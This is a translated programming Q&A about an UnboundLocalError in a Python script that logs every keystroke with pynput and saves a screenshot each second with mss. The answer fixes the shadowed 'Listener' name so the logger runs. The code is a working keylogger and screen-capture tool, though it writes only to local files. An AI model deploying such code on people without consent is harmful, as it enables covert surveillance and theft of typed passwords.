python - UnboundLocalError 继续弹出，我不明白为什么

Question

终端输出错误，指出赋值前引用了局部变量“Listener”。我正在尝试导入监听器 from pynput.keyboard import Listener

我尝试重写程序并更改导入

import os
import time
from threading import Thread, Timer

from mss import mss
from pynput.keyboard import Listener

class IntervalTimer(Timer):
    def run(self):
        while not self.finished.wait(self.interval):
            self.function(*self.args, **self.kwargs)

class Monitor:    
    def _on_press(self, K):
        with open("./log/keylogs/log.txt", "a")as f:
            f.write("{} \t\t {}\n".format(K, time.time()))    

    def _build_logs(self):
        if not os.path.exists("./logs"):
            os.mkdir("./logs")
            os.mkdir("./logs/screenshots")
            os.mkdir("./log/keylogger")

    def _keylogger(self):
        with Listener(on_press = self._on_press)as Listener:
            Listener.join()

    def _screenshot(self):
        sct = mss()
        sct.shot(output="./logs/screenshots/{}.png".format(time.time()))

    def run(self, interval = 1):
        self._build_logs()
        Thread(target=self._keylogger).start()
        IntervalTimer(interval, self._screenshot).start()

if __name__ == "__main__":
    mon = Monitor()
    mon.run()

这是错误

    with Listener(on_press = self._on_press)as Listener:
UnboundLocalError: local variable 'Listener' referenced before assignment

Answer 1

问题在于您在 _keylogger 中重新定义了 Listener。有关说明，请参阅 Why am I getting an UnboundLocalError when the variable has a value?在 Python 常见问题解答中，或 Don't understand why UnboundLocalError occurs

要修复此问题，只需更改 Listener 实例的名称即可。无论如何，实例通常都是小写的。

with Listener(on_press=self._on_press) as listener:
    listener.join()